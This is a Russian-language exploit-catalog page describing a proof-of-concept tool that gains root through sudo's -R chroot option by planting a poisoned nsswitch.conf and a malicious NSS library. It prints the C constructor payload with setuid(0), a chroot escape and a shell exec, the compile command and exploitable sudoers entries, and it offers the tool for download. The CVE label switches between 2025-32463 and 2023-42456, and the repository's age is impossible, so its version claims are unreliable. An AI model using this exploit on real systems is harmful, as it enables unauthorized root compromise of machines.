Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-32463-EXPLOIT — Эксплойт PoC для CVE-2023-42456, демонстрирующий повышение привилегий через перехват библиотеки NSS в sudo с помощью внедрения chroot. Включает автоматическое определение версии, генерацию полезной нагрузки и выход из chroot для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/secvulnhub/cve-2025-32463-exploit
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
secvulnhub/cve-2025-32463-exploit

CVE-2025-32463-EXPLOIT

Эксплойт PoC для CVE-2023-42456, демонстрирующий повышение привилегий через перехват библиотеки NSS в sudo с помощью внедрения chroot. Включает автоматическое определение версии, генерацию полезной нагрузки и выход из chroot для авторизованного тестирования безопасности.

Репозиторий
145 месяцев назадЕщё не проверено

Xpl0it — Внедрение библиотеки NSS через Sudo | v0.0.4

Автор: 0xb0rn3 | 0xbv1
Тип: Proof of Concept (PoC) Инструмент для исследований безопасности
CVE: CVE-2023-42456
Техника: Внедрение библиотеки NSS через chroot в sudo -R → повышение привилегий до root


⚠️ Отказ от ответственности

Этот инструмент разработан только для авторизованного тестирования на проникновение и образовательных исследований безопасности. Запускайте его исключительно на системах, которыми вы владеете или на которые имеете явное письменное разрешение для тестирования. Автор(ы) не несут ответственности за любое неправомерное использование. Несанкционированное использование незаконно.


🎯 Что делает этот инструмент

Xpl0it — это proof-of-concept, который использует ошибку в модели доверия обработки динамической загрузки библиотек NSS (Name Service Switch) в sudo при использовании флага -R (chroot). На уязвимых версиях sudo атакующий, контролирующий каталог chroot, может отравить nsswitch.conf внутри него, заставляя sudo загрузить вредоносную общую библиотеку в то время как он всё ещё обладает повышенными привилегиями — до любого снижения учётных данных.

При успешном запуске инструмент перенаправляет вас в оболочку root или выполняет любую указанную вами команду с uid=0 gid=0.


🔍 CVE-2023-42456 — Подверженные версии

Этот инструмент нацелен исключительно на CVE-2023-42456. Уязвимость присутствует в двух ветках выпуска, каждая из которых имеет отдельный исправляющий коммит:

ВеткаУязвимаИсправлена в
1.9.14.xвсе (1.9.14 – 1.9.14p2)N/A (вся ветка подвержена)
1.9.15.x1.9.15 – 1.9.15p11.9.15p2
1.9.16.x1.9.16 – 1.9.16p11.9.16p2
1.9.17+не подверженаисправление влито в вышестоящую ветку до выпуска

Важно: sudo 1.9.17 и новее не уязвимы. В более ранних инструментах и публикациях ошибочно указывался диапазон "1.9.14–1.9.17". Этот инструмент выполняет определение версии по веткам, чтобы избежать ложных срабатываний.

Не входит в область действия

Следующие CVE не эксплуатируемы с помощью этой техники и намеренно исключены для предотвращения ложных срабатываний:

CVEТехникаПочему исключена
CVE-2021-3156 (Baron Samedit)Переполнение кучиСовершенно другой вектор атаки
CVE-2021-23239Состояние гонки в sudoeditДругая техника
CVE-2021-23240Обход символической ссылки роли SELinuxДругая техника

🔑 Критическое предусловие — ChrootDir в Sudoers

sudo -R требует явной директивы ChrootDir= в записи sudoers для целевого пользователя. Один только NOPASSWD не даёт разрешения на -R.

Без ChrootDir sudo полностью отклоняет флаг -R:

sudo: you are not permitted to use the -R option with bridge

Запись sudoers, допускающая эту эксплуатацию, должна выглядеть так:

# Неограниченный путь chroot (идеальное условие атаки)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL

# Путь chroot с ограничением (инструмент автоматически адаптирует staging-каталог)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash

# Конкретный путь (инструмент создаёт staging внутри разрешённого пути)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL

Xpl0it анализирует вывод sudo -l на наличие ChrootDir перед любой подготовкой и досрочно завершает работу с понятным объяснением, если разрешение отсутствует.


🔬 Глубокое техническое погружение

Цепочка эксплуатации

sudo -R bridge bridge
      │
      ├─ sudo вызывает chroot("./bridge")          ← атакующий контролирует этот каталог
      │
      ├─ sudo должен определить информацию о вызывающем пользователе
      │  └─ загружает /etc/nsswitch.conf из chroot
      │       └─ "passwd: files bridge90"
      │            └─ динамический компоновщик загружает libnss_bridge90.so.2
      │                 └─ __attribute__((constructor)) срабатывает
      │                      └─ setreuid(0,0) + setregid(0,0)
      │                           └─ выход из chroot → выполнение payload
      │
      └─ получена оболочка root

Пошагово

Шаг 1 — Разведка
Собирает информацию об ОС, версии ядра, архитектуре, текущем контексте пользователя и всех допустимых путях поиска библиотек. Обнаруживает включение AppArmor/SELinux и статус NoNewPrivs — всё это может молча заблокировать эксплуатацию, если активно.

Шаг 2 — Определение версии
Разбирает sudo --version и проверяет диапазон двух веток, подверженных CVE-2023-42456, с точностью до уровня исправления. Завершает работу с объяснением, если версия исправлена или вне диапазона.

Шаг 3 — Проверка разрешения ChrootDir
Анализирует sudo -l на наличие директив ChrootDir=. Если отсутствует, немедленно завершает работу. Если ограничено конкретным путём, автоматически нацеливается на этот путь для staging, чтобы sudo принял вызов -R.

Шаг 4 — Предэксплуатационный зонд
Строит одноразовый минимальный chroot и запускает безвредный вызов sudo -R перед любой реальной подготовкой. Подтверждает, что sudo дойдёт до разрешения NSS, и отлавливает отклонения "not permitted" на ранней стадии.

Шаг 5 — Генерация payload
Пишет bridge90.c — общую библиотеку на C с функцией __attribute__((constructor)) (_nss_bridge90_init), которая срабатывает в момент загрузки динамическим компоновщиком:

__attribute__((constructor))
static void _nss_bridge90_init(void) {
    setreuid(0, 0);  setregid(0, 0);
    setuid(0);       setgid(0);

    // выход из chroot: mkdir подкаталога → chroot глубже →
    // 40x "../" переход → перезакрепление chroot на реальный /
    mkdir("._esc", 0700);
    if (chroot("._esc") == 0) {
        // ... 40x "../" chdir ...
        chroot(".");
    }
    chdir("/");
    execl("/bin/bash", "bash", "-c", CMD, NULL);
    execl("/bin/sh",   "sh",   "-c", CMD, NULL);
    _exit(1);
}

Шаг 6 — Настройка окружения
Строит убедительный chroot внутри staging-каталога:

  • bridge/etc/nsswitch.conf — отравлен для загрузки NSS-сервиса bridge90
  • bridge/<lib_path>/libnss_bridge90.so.2 — payload, развёрнутый во все обнаруженные пути библиотек (покрытие multilib)
  • bridge/bin/bridge — фиктивный исполняемый файл, который sudo должен найти для продолжения после проверок перед выполнением
  • bridge/bin/sh, bridge/bin/bash — оболочки с правильным интерпретатором ELF (определяется через readelf -l)
  • bridge/etc/ld.so.conf — покрывает все пути библиотек, чтобы ldconfig -r построил корректный кеш

Шаг 7 — Компиляция

gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
  • -nostartfiles — отсутствие стандартного стартового кода; constructor обрабатывает всё
  • -Wl,-soname — правильное SONAME для разрешения имён NSS
  • Нет -Wl,-init — __attribute__((constructor)) достаточно; добавление -Wl,-init вызывает двойной вызов и является ошибкой

После компиляции nm -D проверяет, что символ constructor присутствует в таблице динамического экспорта.

Шаг 8 — Выполнение
Запускает sudo -R bridge bridge из staging-каталога. NSS разрешает bridge90 → загружает нашу библиотеку → срабатывает constructor с повышенными привилегиями → выход из chroot выполняется → root shell.

Почему существует уязвимость

Реализация -R в sudo доверяет содержимому каталога chroot, в который она входит. До исправления sudo не проверял, не было ли окружение chroot подделано. Поскольку пользователь, предоставляющий путь chroot, контролирует его содержимое — включая nsswitch.conf и ссылающиеся на него библиотеки NSS — он может перенаправить загрузку библиотек на произвольный код, который выполняется до того, как sudo произведёт снижение привилегий.


🛡️ Обнаружение и смягчение

Немедленные исправления

Скачать инструмент